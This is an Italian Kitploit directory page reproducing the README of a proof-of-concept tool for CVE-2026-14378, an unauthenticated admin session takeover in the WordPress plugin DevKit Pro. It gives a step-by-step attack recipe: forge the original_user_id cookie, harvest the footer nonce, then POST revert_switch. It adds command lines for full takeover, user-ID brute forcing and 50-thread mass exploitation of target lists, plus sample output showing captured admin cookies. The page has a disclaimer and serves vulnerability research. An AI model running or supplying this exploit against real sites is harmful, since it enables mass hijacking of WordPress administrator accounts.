Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-14378 — Scanner PoC in Python e helper di exploit per CVE-2026-14378, un takeover di sessione admin non autenticato nel plugin WordPress DevKit Pro tramite cookie original_user_id contraffatto. | Kitploit
Strumenti/GitHubGitHub/murrez/cve-2026-14378
Strumenti DifensiviRicognizioneScanner di VulnerabilitàAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniSicurezza WebPenetration TestingAutenticazione
GitHub
1 giorno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
murrez/cve-2026-14378

CVE-2026-14378

Scanner PoC in Python e helper di exploit per CVE-2026-14378, un takeover di sessione admin non autenticato nel plugin WordPress DevKit Pro tramite cookie original_user_id contraffatto.

Vedi Repository
Condividi

CVE-2026-14378 — Bypass di autenticazione di DevKit Pro PoC

Scanner proof-of-concept e helper di exploit per CVE-2026-14378: acquisizione di sessione amministratore non autenticata nel plugin WordPress DevKit Pro (dplugins) tramite un flusso difettoso di "revert" del cambio utente.

Legale: Utilizzare solo su sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione scritta per i test. L'accesso non autorizzato è illegale. Questo repository è destinato alla ricerca difensiva, alla verifica e alla validazione delle patch.


Descrizione del repository GitHub (copia-incolla)

PoC for CVE-2026-14378: DevKit Pro ≤2.3.0 pre-auth admin takeover via forged original_user_id cookie + wp_footer revert_switch nonce. check/admin + mass scan.

Argomenti suggeriti: cve-2026-14378, wordpress, wordpress-exploit, devkit-pro, dplugins, authentication-bypass, poc, security-research


La vulnerabilità in sintesi

CVECVE-2026-14378
ProdottoDevKit Pro (fornitore: dplugins)
TipoBypass di autenticazione → sessione amministratore completa (CWE-287)
AffetteTutte le versioni ≤ 2.3.0
Corretta3.0.0+ (changelog)
CVSS 3.19.8 Critico — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNAWordfence

Advisory correlato (stesso prodotto, bug diverso)

CVEProblemaAuth
CVE-2026-14357Installazione arbitraria di temi ZIP tramite DPDEV_install_themesSubscriber+
CVE-2026-14378Acquisizione di sessione tramite revert del cambio utenteNessuna

Questo PoC prende di mira solo la 14378.


Causa principale (tecnica)

Il Users Manager di DevKit Pro può impersonare utenti per i test. Quando un amministratore passa a un altro account, il plugin memorizza l'identità precedente in un cookie lato client:

  • original_user_id — ID utente dell'account prima del cambio

Quando quel cookie è presente, il plugin renderizza un controllo "switch back" in wp_footer sul front end, includendo un nonce WordPress legato all'azione di revert.

Il gestore revert_switch (AJAX) chiama verify_nonce_and_capability(), che valuta erroneamente manage_options rispetto all'utente referenziato da original_user_id, invece di usare current_user_can() sul richiedente effettivo (che potrebbe essere completamente non autenticato).

Un attaccante può:

  1. Impostare Cookie: original_user_id=<administrator_user_id> (comunemente 1).
  2. Richiedere una qualsiasi pagina pubblica e analizzare il footer per il form di revert / nonce.
  3. Effettuare una POST a wp-admin/admin-ajax.php con action=revert_switch (o alias specifico del plugin) e il nonce trapelato.
  4. Attivare wp_set_auth_cookie() per l'ID utente falsificato → sessione amministratore autenticata.

Contesto ufficiale della funzionalità: Users Manager — switch back.


Flusso dell'attacco

sequenceDiagram
    participant A as Attacker
    participant W as WordPress (front end)
    participant P as DevKit Pro
    participant X as admin-ajax.php

    A->>W: GET / (Cookie: original_user_id=1)
    W->>P: wp_footer hook
    P-->>W: switch-back HTML + nonce
    W-->>A: page body contains nonce
    A->>X: POST action=revert_switch + nonce
    Note over P,X: capability checked for user 1, not attacker
    X-->>A: Set-Cookie wordpress_logged_in_*
    A->>W: GET /wp-admin/
    W-->>A: admin dashboard

Quando il controllo ha successo o fallisce

Il comando check è intenzionalmente rigoroso: segnala vulnerabile solo se un nonce di switch-back appare dopo aver falsificato original_user_id.

OsservazioneSignificato probabile
VULNERABLE — switch-back material leakedIl percorso di exploit probabilmente funziona; confermare in un laboratorio prima di admin.
not vulnerable (check): no switch-back nonce…DevKit corretto (≥ 3.0.0), plugin non installato, Users Manager disabilitato (disattivato per impostazione predefinita), percorso plugin personalizzato, cache/CDN che rimuove il footer, o sito sbagliato.
DevKit Pro readme not confirmedNessuna impronta pubblica readme.txt; il plugin potrebbe comunque essere presente ma nascosto — l'oracolo rimane il test decisivo.
DevKit Pro <= 2.3.0 suspected + ancora nessun nonceLa versione vulnerabile potrebbe essere installata ma la funzionalità di switch non è abilitata o il footer non viene renderizzato sugli URL testati.

Nota: Un HTTP 200 su /wp-content/plugins/.../readme.txt che restituisce una pagina HTML completa è un comune soft 404 di WordPress. Questo PoC convalida il contenuto del readme (intestazione Plugin Name:), non solo il codice di stato.


Requisiti

  • Python 3.9+
  • requests
pip install requests

Opzionale: requirements.txt contiene un minimo bloccato:

requests>=2.28.0

Installazione

git clone https://github.com/YOUR_USER/cve-2026-14378-poc.git
cd cve-2026-14378-poc
pip install -r requirements.txt   # or: pip install requests

Utilizzo

Singolo target — solo rilevamento (sicuro)

Non completa l'acquisizione; testa solo l'oracolo del nonce nel footer.

python poc.py check https://target.example/
python poc.py check https://target.example/ --user-id 2
python poc.py check https://target.example/ --timeout 40

Singolo target — acquisizione di sessione

Tenta il revert_switch completo e verifica l'accesso a /wp-admin/.

python poc.py admin https://target.example/
python poc.py admin https://target.example/ --user-id 1 --brute 5
python poc.py admin https://target.example/ --log successes.txt
FlagDescrizione
--user-idID utente amministratore (o target) falsificato in original_user_id (predefinito: 1)
--bruteProva gli ID 1..N quando il primo ID fallisce
--timeoutTimeout HTTP in secondi (predefinito: 25)
--logAggiunge gli URL admin riusciti a un file (predefinito: logs.txt)

Scansione di massa (file di elenco)

Un URL per riga; i commenti # e le colonne extra dopo uno spazio vengono ignorati.

# Detection only (recommended first pass)
python poc.py targets.txt

# Exploit attempts (authorized targets only)
python poc.py targets.txt admin

Se non viene passato alcun file come primo argomento, lo script richiede un percorso di elenco (stesso comportamento dei vecchi scanner di massa).

La modalità di massa utilizza un pool di thread (50 worker). Regolare in poc.py se si incontrano limiti di velocità.

File di elenco di esempio

# FOFA / manual imports
https://staging.example.com
example.org
192.0.2.10|wordpress|1.2.3   # only first token is used

Output di esempio

Vulnerabile (check):

[*] https://vulnerable.example
[+] DevKit Pro <= 2.3.0 suspected (stable tag 2.3.0)
[+] VULNERABLE — switch-back material leaked (action=revert_switch, nonce=a1b2c3d4…)

Non vulnerabile (scansione di massa tipica):

[*] https://patched.example
[!] DevKit Pro readme not confirmed (hidden path, WAF, or plugin absent)
[-] not vulnerable (check): no switch-back nonce in wp_footer with forged original_user_id cookie — patched DevKit, Users Manager off, or wrong target

Admin riuscito:

[*] https://lab.local
[+] https://lab.local -> administrator session as user_id=1
[+] cookie: wordpress_logged_in_…=…

Note di implementazione

Scarica lo strumento